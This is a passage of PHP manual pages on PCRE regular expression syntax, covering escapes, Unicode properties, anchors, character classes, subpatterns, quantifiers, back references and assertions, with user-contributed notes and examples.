A word boundary is a position in the subject string where the current character and the previous character do not both match \w or \W (i.e. one matches \w and the other matches \W), or the start or end of the string if the first or last character matches \w, respectively.

The \A, \Z, and \z assertions differ from the traditional circumflex and dollar (described below) in that they only ever match at the very start and end of the subject string, whatever options are set. They are not affected by the PCRE_MULTILINE or PCRE_DOLLAR_ENDONLY options. The difference between \Z and \z is that \Z matches before a newline that is the last character of the string as well as at the end of the string, whereas \z matches only at the end.

The \G assertion is true only when the current matching position is at the start point of the match, as specified by the offset argument of preg_match(). It differs from \A when the value of offset is non-zero.

\Q and \E can be used to ignore regexp metacharacters in the pattern. For example: \w+\Q.$.\E$ will match one or more word characters, followed by literals .$. and anchored at the end of the string.

\K can be used to reset the match start since PHP 5.2.4. For example, the pattern foo\Kbar matches "foobar", but reports that it has matched "bar". The use of \K does not interfere with the setting of captured substrings. For example, when the pattern (foo)\Kbar matches "foobar", the first substring is still set to "foo".

User Contributed Notes

chris AT cmbuckley DOT co DOT uk 19-Jul-2011 03:18
Here are the pre-5.2.4 equivalents of \h and \v:

\h: [\x09\x20\xa0\x1680\x180e\x2000\x2001
     \x2002\x2003\x2004\x2005\x2006\x2007
     \x2008\x2009\x200A\x202f\x205f\x3000]

\v: [\x0a\x0b\x0c\x0d\x85\x2028\x2029]

\H and \V are simply their negations.
grigor at the domain gatchev.info 22-Jun-2011 01:59
As \v matches both single char line ends (CR, LF) and double char (CR+LF, LF+CR), it is not a fixed length atom (eg. is not allowed in lookbehind assertions).
alvaro at demogracia dot com 11-Mar-2011 01:01
Beware that \b may not necessarily be Unicode aware:

<?php
echo preg_replace('/\\b/u', '#', 'gonzález');
?>

... prints "#gonzález#" or "#gonz#á#lez#" depending on the platform. (It appears to work as expected in latest PHP versions.)
Meta-characters
Unicode character properties
PCRE regex syntax


Unicode character properties

Since 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. They are:

\p{xx}
a character with the xx property
\P{xx}
a character without the xx property
\X
an extended Unicode sequence

The property names represented by xx above are limited to the Unicode general category properties. Each character has exactly one such property, specified by a two-letter abbreviation. For compatibility with Perl, negation can be specified by including a circumflex between the opening brace and the property name. For example, \p{^Lu} is the same as \P{Lu}.

If only one letter is specified with \p or \P, it includes all the properties that start with that letter. In this case, in the absence of negation, the curly brackets in the escape sequence are optional; these two examples have the same effect:

\p{L}
\pL

Supported property codes
Property | Matches | Notes
C | Other |
Cc | Control |
Cf | Format |
Cn | Unassigned |
Co | Private use |
Cs | Surrogate |
L | Letter | Includes the following properties: Ll, Lm, Lo, Lt and Lu.
Ll | Lower case letter |
Lm | Modifier letter |
Lo | Other letter |
Lt | Title case letter |
Lu | Upper case letter |
M | Mark |
Mc | Spacing mark |
Me | Enclosing mark |
Mn | Non-spacing mark |
N | Number |
Nd | Decimal number |
Nl | Letter number |
No | Other number |
P | Punctuation |
Pc | Connector punctuation |
Pd | Dash punctuation |
Pe | Close punctuation |
Pf | Final punctuation |
Pi | Initial punctuation |
Po | Other punctuation |
Ps | Open punctuation |
S | Symbol |
Sc | Currency symbol |
Sk | Modifier symbol |
Sm | Mathematical symbol |
So | Other symbol |
Z | Separator |
Zl | Line separator |
Zp | Paragraph separator |
Zs | Space separator |

Extended properties such as "Greek" or "InMusicalSymbols" are not supported by PCRE.

Specifying case-insensitive (caseless) matching does not affect these escape sequences. For example, \p{Lu} always matches only upper case letters.

The \X escape matches any number of Unicode characters that form an extended Unicode sequence. \X is equivalent to (?>\PM\pM*).

That is, it matches a character without the "mark" property, followed by zero or more characters with the "mark" property, and treats the sequence as an atomic group (see below). Characters with the "mark" property are typically accents that affect the preceding character.

Matching characters by Unicode property is not fast, because PCRE has to search a structure that contains data for over fifteen thousand characters. That is why the traditional escape sequences such as \d and \w do not use Unicode properties in PCRE.

User Contributed Notes

hayk at mail dot ru 03-Mar-2011 01:46
There is a possibility to use \p{xx} and \P{xx} escape sequences with script names.

From http://www.pcre.org/pcre.txt

When PCRE is built with Unicode character property support, three addi-
tional escape sequences that match characters with specific  properties
are  available.   When not in UTF-8 mode, these sequences are of course
limited to testing characters whose codepoints are less than  256,  but
they do work in this mode.  The extra escape sequences are:

  \p{xx}   a character with the xx property
  \P{xx}   a character without the xx property
  \X       an extended Unicode sequence

The  property  names represented by xx above are limited to the Unicode
script names, the general category properties, "Any", which matches any
character   (including  newline),  and  some  special  PCRE  properties
(described in the next section).  Other Perl properties such as  "InMu-
sicalSymbols"  are  not  currently supported by PCRE. Note that \P{Any}
does not match any characters, so always causes a match failure.

Sets of Unicode characters are defined as belonging to certain scripts.
A  character from one of these sets can be matched using a script name.
For example:

  \p{Greek}
  \P{Han}

Those that are not part of an identified script are lumped together  as
"Common". The current list of scripts is:

Arabic, Armenian, Avestan, Balinese, Bamum, Bengali, Bopomofo, Braille,
Buginese, Buhid, Canadian_Aboriginal, Carian, Cham,  Cherokee,  Common,
Coptic,   Cuneiform,  Cypriot,  Cyrillic,  Deseret,  Devanagari,  Egyp-
tian_Hieroglyphs,  Ethiopic,  Georgian,  Glagolitic,   Gothic,   Greek,
Gujarati,  Gurmukhi,  Han,  Hangul,  Hanunoo,  Hebrew,  Hiragana, Impe-
rial_Aramaic, Inherited, Inscriptional_Pahlavi, Inscriptional_Parthian,
Javanese,  Kaithi, Kannada, Katakana, Kayah_Li, Kharoshthi, Khmer, Lao,
Latin,  Lepcha,  Limbu,  Linear_B,  Lisu,  Lycian,  Lydian,  Malayalam,
Meetei_Mayek,  Mongolian, Myanmar, New_Tai_Lue, Nko, Ogham, Old_Italic,
Old_Persian, Old_South_Arabian, Old_Turkic, Ol_Chiki,  Oriya,  Osmanya,
Phags_Pa,  Phoenician,  Rejang,  Runic, Samaritan, Saurashtra, Shavian,
Sinhala, Sundanese, Syloti_Nagri, Syriac,  Tagalog,  Tagbanwa,  Tai_Le,
Tai_Tham,  Tai_Viet,  Tamil,  Telugu,  Thaana, Thai, Tibetan, Tifinagh,
Ugaritic, Vai, Yi.

Each character has exactly one Unicode general category property, spec-
ified  by a two-letter abbreviation. For compatibility with Perl, nega-
tion can be specified by including a  circumflex  between  the  opening
brace  and  the  property  name.  For  example,  \p{^Lu} is the same as
\P{Lu}.

If only one letter is specified with \p or \P, it includes all the gen-
eral  category properties that start with that letter. In this case, in
the absence of negation, the curly brackets in the escape sequence  are
optional; these two examples have the same effect:

  \p{L}
  \pL
o_shes01 at uni-muenster dot de 22-Jan-2011 06:23
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
o_shes01 at uni-muenster dot de 21-Jan-2011 10:08
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
mercury at caucasus dot net 08-May-2010 10:32
An excellent article explaining all these properties can be found here: http://www.regular-expressions.info/unicode.html
suit at rebell dot at 01-Mar-2010 05:13
these properties are usualy only available if PCRE is compiled with "--enable-unicode-properties"

if you want to match any word but want to provide a fallback, you can do something like that:

<?php
if(@preg_match_all('/\p{L}+/u', $str, $arr) {
  // fallback goes here
  // for example just '/\w+/u' for a less acurate match
}
?>
Escape sequences
Anchors
PCRE regex syntax


Anchors

Outside a character class, in the default matching mode, the circumflex character (^) is an assertion which is true only if the current matching point is at the start of the subject string. Inside a character class, circumflex (^) has an entirely different meaning (see below).

Circumflex (^) need not be the first character of the pattern if a number of alternatives are involved, but it should be the first thing in each alternative in which it appears if the pattern is ever to match that branch. If all possible alternatives start with a circumflex (^), that is, if the pattern is constrained to match only at the start of the subject, it is said to be an "anchored" pattern. (There are also other constructs that can cause a pattern to be anchored.)

A dollar character ($) is an assertion which is TRUE only if the current matching point is at the end of the subject string, or immediately before a newline character that is the last character in the string (by default). Dollar ($) need not be the last character of the pattern if a number of alternatives are involved, but it should be the last item in any branch in which it appears. Dollar has no special meaning in a character class.

The meaning of dollar can be changed so that it matches only at the very end of the string, by setting the PCRE_DOLLAR_ENDONLY option at compile or matching time. This does not affect the \Z assertion.

The meanings of the circumflex and dollar characters are changed if the PCRE_MULTILINE option is set. When this is the case, they match immediately after and immediately before an internal "\n" character, respectively, in addition to matching at the start and end of the subject string. For example, the pattern /^abc$/ matches the subject string "def\nabc" in multiline mode, but not otherwise. Consequently, patterns that are anchored in single line mode because all branches start with "^" are not anchored in multiline mode. The PCRE_DOLLAR_ENDONLY option is ignored if PCRE_MULTILINE is set.

Note that the sequences \A, \Z, and \z can be used to match the start and end of the subject in both modes, and if all branches of a pattern start with \A is it always anchored, whether PCRE_MULTILINE is set or not.

User Contributed Notes

There are no user contributed notes for this page.
Unicode character properties
Dot
PCRE regex syntax


Dot

Outside a character class, a dot in the pattern matches any one character in the subject, including a non-printing character, but not (by default) newline. If the PCRE_DOTALL option is set, then dots match newlines as well. The handling of dot is entirely independent of the handling of circumflex and dollar, the only relationship being that they both involve newline characters. Dot has no special meaning in a character class.

\C can be used to match single byte. It makes sense in UTF-8 mode where full stop matches the whole character which can consist of multiple bytes.

User Contributed Notes

Anonymous 02-Feb-2011 03:46
Consider,

        preg_match_all("/<img.*>/", $htmlfile, $match);

Since PCRE_DOTALL is not used, this pattern is expected to NOT make matches across multiple lines.  However, in somecases it can, depending on the PCRE default settings and your data ($htmlfile).  The problem is that some are set to recognize NEWLINES differently.
To fix this use,

        preg_match_all("/(*ANY)<img.*>/", $htmlfile, $match);

Now, any character that could possibly be seen as a newline will be interpreted as a newline by the PCRE.
NOTE: This pattern has been available since PCRE version 7.3
Anchors
Character classes
PCRE regex syntax


Character classes

An opening square bracket introduces a character class, terminated by a closing square bracket. A closing square bracket on its own is not special. If a closing square bracket is required as a member of the class, it should be the first data character in the class (after an initial circumflex, if present) or escaped with a backslash.

A character class matches a single character in the subject; the character must be in the set of characters defined by the class, unless the first character in the class is a circumflex, in which case the subject character must not be in the set defined by the class. If a circumflex is actually required as a member of the class, ensure it is not the first character, or escape it with a backslash.

For example, the character class [aeiou] matches any lower case vowel, while [^aeiou] matches any character that is not a lower case vowel. Note that a circumflex is just a convenient notation for specifying the characters which are in the class by enumerating those that are not. It is not an assertion: it still consumes a character from the subject string, and fails if the current pointer is at the end of the string.

When case-insensitive (caseless) matching is set, any letters in a class represent both their upper case and lower case versions, so for example, an insensitive [aeiou] matches "A" as well as "a", and an insensitive [^aeiou] does not match "A", whereas a sensitive (caseful) version would.

The newline character is never treated in any special way in character classes, whatever the setting of the PCRE_DOTALL or PCRE_MULTILINE options is. A class such as [^a] will always match a newline.

The minus (hyphen) character can be used to specify a range of characters in a character class. For example, [d-m] matches any letter between d and m, inclusive. If a minus character is required in a class, it must be escaped with a backslash or appear in a position where it cannot be interpreted as indicating a range, typically as the first or last character in the class.

It is not possible to have the literal character "]" as the end character of a range. A pattern such as [W-]46] is interpreted as a class of two characters ("W" and "-") followed by a literal string "46]", so it would match "W46]" or "-46]". However, if the "]" is escaped with a backslash it is interpreted as the end of range, so [W-\]46] is interpreted as a single class containing a range followed by two separate characters. The octal or hexadecimal representation of "]" can also be used to end a range.

Ranges operate in ASCII collating sequence. They can also be used for characters specified numerically, for example [\000-\037]. If a range that includes letters is used when case-insensitive (caseless) matching is set, it matches the letters in either case. For example, [W-c] is equivalent to [][\^_`wxyzabc], matched case-insensitively, and if character tables for the "fr" locale are in use, [\xc8-\xcb] matches accented E characters in both cases.

The character types \d, \D, \s, \S, \w, and \W may also appear in a character class, and add the characters that they match to the class. For example, [\dABCDEF] matches any hexadecimal digit. A circumflex can conveniently be used with the upper case character types to specify a more restricted set of characters than the matching lower case type. For example, the class [^\W_] matches any letter or digit, but not underscore.

All non-alphanumeric characters other than \, -, ^ (at the start) and the terminating ] are non-special in character classes, but it does no harm if they are escaped. The pattern terminator is always special and must be escaped when used within an expression.

Perl supports the POSIX notation for character classes. This uses names enclosed by [: and :] within the enclosing square brackets. PCRE also supports this notation. For example, [01[:alpha:]%] matches "0", "1", any alphabetic character, or "%". The supported class names are:

Character classes
alnum | letters and digits
alpha | letters
ascii | character codes 0 - 127
blank | space or tab only
cntrl | control characters
digit | decimal digits (same as \d)
graph | printing characters, excluding space
lower | lower case letters
print | printing characters, including space
punct | printing characters, excluding letters and digits
space | white space (not quite the same as \s)
upper | upper case letters
word | "word" characters (same as \w)
xdigit | hexadecimal digits
The space characters are HT (9), LF (10), VT (11), FF (12), CR (13), and space (32). Notice that this list includes the VT character (code 11). This makes "space" different to \s, which does not include VT (for Perl compatibility).

The name word is a Perl extension, and blank is a GNU extension from Perl 5.8. Another Perl extension is negation, which is indicated by a ^ character after the colon. For example, [12[:^digit:]] matches "1", "2", or any non-digit.

In UTF-8 mode, characters with values greater than 128 do not match any of the POSIX character classes.

User Contributed Notes

Richard 15-Apr-2011 05:50
Tip:  [a-Z]  does not do what one might expect, i.e. [a-zA-Z]
Dot
Alternation
PCRE regex syntax


Alternation

Vertical bar characters are used to separate alternative patterns. For example, the pattern gilbert|sullivan matches either "gilbert" or "sullivan". Any number of alternatives may appear, and an empty alternative is permitted (matching the empty string). The matching process tries each alternative in turn, from left to right, and the first one that succeeds is used. If the alternatives are within a subpattern (defined below), "succeeds" means matching the rest of the main pattern as well as the alternative in the subpattern.

User Contributed Notes

There are no user contributed notes for this page.
Character classes
Internal option setting
PCRE regex syntax


Internal option setting

The settings of PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, PCRE_UNGREEDY, PCRE_EXTRA, PCRE_EXTENDED and PCRE_DUPNAMES can be changed from within the pattern by a sequence of Perl option letters enclosed between "(?" and ")". The option letters are:

Internal option letters
i | for PCRE_CASELESS
m | for PCRE_MULTILINE
s | for PCRE_DOTALL
x | for PCRE_EXTENDED
U | for PCRE_UNGREEDY
X | for PCRE_EXTRA
J | for PCRE_INFO_JCHANGED

For example, (?im) sets case-insensitive (caseless), multiline matching. It is also possible to unset these options by preceding the letter with a hyphen, and a combined setting and unsetting such as (?im-sx), which sets PCRE_CASELESS and PCRE_MULTILINE while unsetting PCRE_DOTALL and PCRE_EXTENDED, is also permitted. If a letter appears both before and after the hyphen, the option is unset.

When an option change occurs at top level (that is, not inside subpattern parentheses), the change applies to the remainder of the pattern that follows. So /ab(?i)c/ matches only "abc" and "abC".

If an option change occurs inside a subpattern, the effect is different. This is a change of behaviour in Perl 5.005. An option change inside a subpattern affects only that part of the subpattern that follows it, so (a(?i)b)c matches abc and aBc and no other strings (assuming PCRE_CASELESS is not used). By this means, options can be made to have different settings in different parts of the pattern. Any changes made in one alternative do carry on into subsequent branches within the same subpattern. For example, (a(?i)b|c) matches "ab", "aB", "c", and "C", even though when matching "C" the first branch is abandoned before the option setting. This is because the effects of option settings happen at compile time. There would be some very weird behaviour otherwise.

The PCRE-specific options PCRE_UNGREEDY and PCRE_EXTRA can be changed in the same way as the Perl-compatible options by using the characters U and X respectively. The (?X) flag setting is special in that it must always occur earlier in the pattern than any of the additional features it turns on, even when it is at top level. It is best put at the start.

User Contributed Notes

mike at clove dot com 18-Mar-2010 07:48
When using the (?i:foo) syntax, it appears that the group is not included in the 'matches' argument unless it is nested in an additional set of parenthesis, for example: ((?i:foo))
mati_ at zenbe dot com 07-Jul-2009 12:14
There is also the possibility to enable Modifier only on a specific group, so that the Modifier doesn't stay valid until end or deactivation with "(?-<modifier>)".

The Syntax for that is "?<modifier>:" on the beginning of the group, i.e. (?i:foo) matches on FoO.
Alternation
Subpatterns
PCRE regex syntax


Subpatterns

Subpatterns are delimited by parentheses (round brackets), which can be nested. Marking part of a pattern as a subpattern does two things:

  1. It localizes a set of alternatives. For example, the pattern cat(aract|erpillar|) matches one of the words "cat", "cataract", or "caterpillar". Without the parentheses, it would match "cataract", "erpillar" or the empty string.

  2. It sets up the subpattern as a capturing subpattern (as defined above). When the whole pattern matches, that portion of the subject string that matched the subpattern is passed back to the caller via the ovector argument of pcre_exec(). Opening parentheses are counted from left to right (starting from 1) to obtain the numbers of the capturing subpatterns.

For example, if the string "the red king" is matched against the pattern the ((red|white) (king|queen)) the captured substrings are "red king", "red", and "king", and are numbered 1, 2, and 3.

The fact that plain parentheses fulfill two functions is not always helpful. There are often times when a grouping subpattern is required without a capturing requirement. If an opening parenthesis is followed by "?:", the subpattern does not do any capturing, and is not counted when computing the number of any subsequent capturing subpatterns. For example, if the string "the white queen" is matched against the pattern the ((?:red|white) (king|queen)) the captured substrings are "white queen" and "queen", and are numbered 1 and 2. The maximum number of captured substrings is 99, and the maximum number of all subpatterns, both capturing and non-capturing, is 200.

As a convenient shorthand, if any option settings are required at the start of a non-capturing subpattern, the option letters may appear between the "?" and the ":". Thus the two patterns

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

match exactly the same set of strings. Because alternative branches are tried from left to right, and options are not reset until the end of the subpattern is reached, an option setting in one branch does affect subsequent branches, so the above patterns match "SUNDAY" as well as "Saturday".

It is possible to name a subpattern using the syntax (?P<name>pattern). This subpattern will then be indexed in the matches array by its normal numeric position and also by name. PHP 5.2.2 introduced two alternative syntaxes (?<name>pattern) and (?'name'pattern).

Sometimes it is necessary to have multiple matching, but alternating subgroups in a regular expression. Normally, each of these would be given their own backreference number even though only one of them would ever possibly match. To overcome this, the (?| syntax allows having duplicate numbers. Consider the following regex matched against the string Sunday:

(?:(Sat)ur|(Sun))day

Here Sun is stored in backreference 2, while backreference 1 is empty. Matching yields Sat in backreference 1 while backreference 2 does not exist. Changing the pattern to use the (?| fixes this problem:

(?|(Sat)ur|(Sun))day

Using this pattern, both Sun and Sat would be stored in backreference 1.

User Contributed Notes

Chris 01-Feb-2010 08:51
For instance, one of my rewrite rules for a project I'm working on is "replace o with ö if o is the next to last vowel and even numbered (counting left to right)"

So, an example is:

heabatoik would become heabatöik (o is the next to last vowel, as well as the 4th vowel)

habatoik would not change (o is the next to last vowel, but is the 3rd vowel)

$str = preg_replace(
  '/^((?:[^aeiou]*[aeiou]){2})+' .
    '([^aeiou]*[aeiou][^aeiou]*)' .
    'o' .
    '(?=[^aeiou]*[aeiou][^aeiou]*$)/',
  '$1$2ö',
  'heabatoik');
Internal option setting
Repetition
PCRE regex syntax


Repetition

Repetition is specified by quantifiers, which can follow any of the following items:

  • a single character, possibly escaped
  • the . metacharacter
  • a character class
  • a back reference (see next section)
  • a parenthesized subpattern (unless it is an assertion - see below)

The general repetition quantifier specifies a minimum and maximum number of permitted matches, by giving the two numbers in curly brackets (braces), separated by a comma. The numbers must be less than 65536, and the first must be less than or equal to the second. For example: z{2,4} matches "zz", "zzz", or "zzzz". A closing brace on its own is not a special character. If the second number is omitted, but the comma is present, there is no upper limit; if the second number and the comma are both omitted, the quantifier specifies an exact number of required matches. Thus [aeiou]{3,} matches at least 3 successive vowels, but may match many more, while \d{8} matches exactly 8 digits. An opening curly bracket that appears in a position where a quantifier is not allowed, or one that does not match the syntax of a quantifier, is taken as a literal character. For example, {,6} is not a quantifier, but a literal string of four characters.

The quantifier {0} is permitted, causing the expression to behave as if the previous item and the quantifier were not present.

For convenience (and historical compatibility) the three most common quantifiers have single-character abbreviations:

Single-character quantifiers
* | equivalent to {0,}
+ | equivalent to {1,}
? | equivalent to {0,1}

It is possible to construct infinite loops by following a subpattern that can match no characters with a quantifier that has no upper limit, for example: (a?)*

Earlier versions of Perl and PCRE used to give an error at compile time for such patterns. However, because there are cases where this can be useful, such patterns are now accepted, but if any repetition of the subpattern does in fact match no characters, the loop is forcibly broken.

By default, the quantifiers are "greedy", that is, they match as much as possible (up to the maximum number of permitted times), without causing the rest of the pattern to fail. The classic example of where this gives problems is in trying to match comments in C programs. These appear between the sequences /* and */ and within the sequence, individual * and / characters may appear. An attempt to match C comments by applying the pattern /\*.*\*/ to the string /* first comment */ not comment /* second comment */ fails, because it matches the entire string due to the greediness of the .* item.

However, if a quantifier is followed by a question mark, then it becomes lazy, and instead matches the minimum number of times possible, so the pattern /\*.*?\*/ does the right thing with the C comments. The meaning of the various quantifiers is not otherwise changed, just the preferred number of matches. Do not confuse this use of question mark with its use as a quantifier in its own right. Because it has two uses, it can sometimes appear doubled, as in \d??\d which matches one digit by preference, but can match two if that is the only way the rest of the pattern matches.

If the PCRE_UNGREEDY option is set (an option which is not available in Perl) then the quantifiers are not greedy by default, but individual ones can be made greedy by following them with a question mark. In other words, it inverts the default behaviour.

Quantifiers followed by + are "possessive". They eat as many characters as possible and don't return to match the rest of the pattern. Thus .*abc matches "aabc" but .*+abc doesn't because .*+ eats the whole string. Possessive quantifiers can be used to speed up processing.

When a parenthesized subpattern is quantified with a minimum repeat count that is greater than 1 or with a limited maximum, more store is required for the compiled pattern, in proportion to the size of the minimum or maximum.

If a pattern starts with .* or .{0,} and the PCRE_DOTALL option (equivalent to Perl's /s) is set, thus allowing the . to match newlines, then the pattern is implicitly anchored, because whatever follows will be tried against every character position in the subject string, so there is no point in retrying the overall match at any position after the first. PCRE treats such a pattern as though it were preceded by \A. In cases where it is known that the subject string contains no newlines, it is worth setting PCRE_DOTALL when the pattern begins with .* in order to obtain this optimization, or alternatively using ^ to indicate anchoring explicitly.

When a capturing subpattern is repeated, the value captured is the substring that matched the final iteration. For example, after (tweedle[dume]{3}\s*)+ has matched "tweedledum tweedledee" the value of the captured substring is "tweedledee". However, if there are nested capturing subpatterns, the corresponding captured values may have been set in previous iterations. For example, after /(a|(b))+/ matches "aba" the value of the second captured substring is "b".

User Contributed Notes

There are no user contributed notes for this page.
Subpatterns
Back references
PCRE regex syntax


Back references

Outside a character class, a backslash followed by a digit greater than 0 (and possibly further digits) is a back reference to a capturing subpattern earlier (i.e. to its left) in the pattern, provided there have been that many previous capturing left parentheses.

However, if the decimal number following the backslash is less than 10, it is always taken as a back reference, and causes an error only if there are not that many capturing left parentheses in the entire pattern. In other words, the parentheses that are referenced need not be to the left of the reference for numbers less than 10. A "forward back reference" can make sense when a repetition is involved and the subpattern to the right has participated in an earlier iteration. See the section entitled "Backslash" above for further details of the handling of digits following a backslash.

A back reference matches whatever actually matched the capturing subpattern in the current subject string, rather than anything matching the subpattern itself. So the pattern (sens|respons)e and \1ibility matches "sense and sensibility" and "response and responsibility", but not "sense and responsibility". If case-sensitive (caseful) matching is in force at the time of the back reference, then the case of letters is relevant. For example, ((?i)rah)\s+\1 matches "rah rah" and "RAH RAH", but not "RAH rah", even though the original capturing subpattern is matched case-insensitively (caselessly).

There may be more than one back reference to the same subpattern. If a subpattern has not actually been used in a particular match, then any back references to it always fail. For example, the pattern (a|(bc))\2 always fails if it starts to match "a" rather than "bc". Because there may be up to 99 back references, all digits following the backslash are taken as part of a potential back reference number. If the pattern continues with a digit character, then some delimiter must be used to terminate the back reference. If the PCRE_EXTENDED option is set, this can be whitespace. Otherwise an empty comment can be used.

A back reference that occurs inside the parentheses to which it refers fails when the subpattern is first used, so, for example, (a\1) never matches. However, such references can be useful inside repeated subpatterns. For example, the pattern (a|b\1)+ matches any number of "a"s and also "aba", "ababba" etc. At each iteration of the subpattern, the back reference matches the character string corresponding to the previous iteration. In order for this to work, the pattern must be such that the first iteration does not need to match the back reference. This can be done using alternation, as in the example above, or by a quantifier with a minimum of zero.

As of PHP 5.2.2, the \g escape sequence can be used for absolute and relative referencing of subpatterns. This escape sequence must be followed by an unsigned number or a negative number, optionally enclosed in braces. The sequences \1, \g1 and \g{1} are synonymous with one another. The use of this pattern with an unsigned number can help remove the ambiguity inherent when using digits following a backslash. The sequence helps to distinguish back references from octal characters and also makes it easier to have a back reference followed by a literal number, e.g. \g{2}1.

The use of the \g sequence with a negative number signifies a relative reference. For example, (foo)(bar)\g{-1} would match the sequence "foobarbar" and (foo)(bar)\g{-2} matches "foobarfoo". This can be useful in long patterns as an alternative to keeping track of the number of subpatterns in order to reference a specific previous subpattern.

Back references to the named subpatterns can be achieved by (?P=name) or, since PHP 5.2.2, also by \k<name> or \k'name'. Additionally PHP 5.2.4 added support for \k{name} and \g{name}.

User Contributed Notes

There are no user contributed notes for this page.
Repetition
Assertions
PCRE regex syntax


Assertions

An assertion is a test on the characters following or preceding the current matching point that does not actually consume any characters. The simple assertions coded as \b, \B, \A, \Z, \z, ^ and $ are described above. More complicated assertions are coded as subpatterns. There are two kinds: those that look ahead of the current position in the subject string, and those that look behind it.

An assertion subpattern is matched in the normal way, except that it does not cause the current matching position to be changed. Lookahead assertions start with (?= for positive assertions and (?! for negative assertions. For example, \w+(?=;) matches a word followed by a semicolon, but does not include the semicolon in the match, and foo(?!bar) matches any occurrence of "foo" that is not followed by "bar". Note that the apparently similar pattern (?!foo)bar does not find an occurrence of "bar" that is preceded by something other than "foo"; it finds any occurrence of "bar" whatsoever, because the assertion (?!foo) is always TRUE when the next three characters are "bar". A lookbehind assertion is needed to achieve this effect.

Lookbehind assertions start with (?<= for positive assertions and (?<! for negative assertions. For example, (?<!foo)bar does find an occurrence of "bar" that is not preceded by "foo". The contents of a lookbehind assertion are restricted such that all the strings it matches must have a fixed length. However, if there are several alternatives, they do not all have to have the same fixed length. Thus (?<=bullock|donkey) is permitted, but (?<!dogs?|cats?) causes an error at compile time. Branches that match different length strings are permitted only at the top level of a lookbehind assertion. This is an extension compared with Perl 5.005, which requires all branches to match the same length of string. An assertion such as (?<=ab(c|de)) is not permitted, because its single top-level branch can match two different lengths, but it is acceptable if rewritten to use two top-level branches: (?<=abc|abde) The implementation of lookbehind assertions is, for each alternative, to temporarily move the current position back by the fixed width and then try to match. If there are insufficient characters before the current position, the match is deemed to fail. Lookbehinds in conjunction with once-only subpatterns can be particularly useful for matching at the ends of strings; an example is given at the end of the section on once-only subpatterns.

Several assertions (of any sort) may occur in succession. For example, (?<=\d{3})(?<!999)foo matches "foo" preceded by three digits that are not "999". Notice that each of the assertions is applied independently at the same point in the subject string. First there is a check that the previous three characters are all digits, then there is a check that the same three characters are not "999". This pattern does not match "foo" preceded by six characters, the first of which are digits and the last three of which are not "999". For example, it doesn't match "123abcfoo". A pattern to do that is (?<=\d{3}...)(?<!999)foo

This time the first assertion looks at the preceding six characters, checking that the first three are digits, and then the second assertion checks that the preceding three characters are not "999".

Assertions can be nested in any combination. For example, (?<=(?<!foo)bar)baz matches an occurrence of "baz" that is preceded by "bar" which in turn is not preceded by "foo", while (?<=\d{3}...(?<!999))foo is another pattern which matches "foo" preceded by three digits and any three characters that are not "999".

Assertion subpatterns are not capturing subpatterns, and may not be repeated, because it makes no sense to assert the same thing several times. If any kind of assertion contains capturing subpatterns within it, these are counted for the purposes of numbering the capturing subpatterns in the whole pattern. However, substring capturing is carried out only for positive assertions, because it does not make sense for negative assertions.

Assertions count towards the maximum of 200 parenthesized subpatterns.

User Contributed Notes

There are no user contributed notes for this page.
Back references
Once-only subpatterns
PCRE regex syntax


Once-only subpatterns

With both maximizing and minimizing repetition, failure of what follows normally causes the repeated item to be re-evaluated to see if a different number of repeats allows the rest of the pattern to match. Sometimes it is useful to prevent this, either to change the nature of the match, or to cause it fail earlier than it otherwise might, when the author of the pattern knows there is no point in carrying on.

Consider, for example, the pattern \d+foo when applied to the subject line 123456bar

After matching all 6 digits and then failing to match "foo", the normal action of the matcher is to try again with only 5 digits matching the \d+ item, and then with 4, and so on, before ultimately failing. Once-only subpatterns provide the means for specifying that once a portion of the pattern has matched, it is not to be re-evaluated in this way, so the matcher would give up immediately on failing to match "foo" the first time. The notation is another kind of special parenthesis, starting with (?> as in this example: (?>\d+)bar

This kind of parenthesis "locks up" the part of the pattern it contains once it has matched, and a failure further into the pattern is prevented from backtracking into it. Backtracking past it to previous items, however, works as normal.

An alternative description is that a subpattern of this type matches the string of characters that an identical standalone pattern would match, if anchored at the current point in the subject string.

Once-only subpatterns are not capturing subpatterns. Simple cases such as the above example can be thought of as a maximizing repeat that must swallow everything it can. So, while both \d+ and \d+? are prepared to adjust the number of digits they match in order to make the rest of the pattern match, (?>\d+) can only match an entire sequence of digits.

This construction can of course contain arbitrarily complicated subpatterns, and it can be nested.

Once-only subpatterns can be used in conjunction with lookbehind assertions to specify efficient matching at the end of the subject string. Consider a simple pattern such as abcd$ when applied to a long string which does not match. Because matching proceeds from left to right, PCRE will look for each "a" in the subject and then see if what follows matches the rest of the pattern. If the pattern is specified as ^.*abcd$ then the initial .* matches the entire string at first, but when this fails (because there is no following "a"), it backtracks to match all but the last character, then all but the last two characters, and so on. Once again the search for "a" covers the entire string, from right to left, so we are no better off. However, if the pattern is written as ^(?>.*)(?<=abcd) then there can be no backtracking for the .* item; it can match only the entire string. The subsequent lookbehind assertion does a single test on the last four characters. If it fails, the match fails immediately. For long strings, this approach makes a significant difference to the processing time.

When a pattern contains an unlimited repeat inside a subpattern that can itself be repeated an unlimited number of times, the use of a once-only subpattern is the only way to avoid some failing matches taking a very long time indeed. The pattern (\D+|<\d+>)*[!?] matches an unlimited number of substrings that either consist of non-digits, or digits enclosed in <>, followed by either ! or ?. When it matches, it runs quickly. However, if it is applied to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa it takes a long time before reporting failure. This is because the string can be divided between the two repeats in a large number of ways, and all have to be tried. (The example used [!?] rather than a single character at the end, because both PCRE and Perl have an optimization that allows for fast failure when a single character is used. They remember the last single character that is required for a match, and fail early if it is not present in the string.) If the pattern is changed to ((?>\D+)|<\d+>)*[!?] sequences of non-digits cannot be broken, and failure happens quickly.

User Contributed Notes

Esque 07-Oct-2011 12:04
(Just a guess) that should be happenning because (?>\D+) matches the whole string, so [!?] doesn't find any matches, because the cursor is at the very end of the string. Using look-behind assertion makes this pattern work:

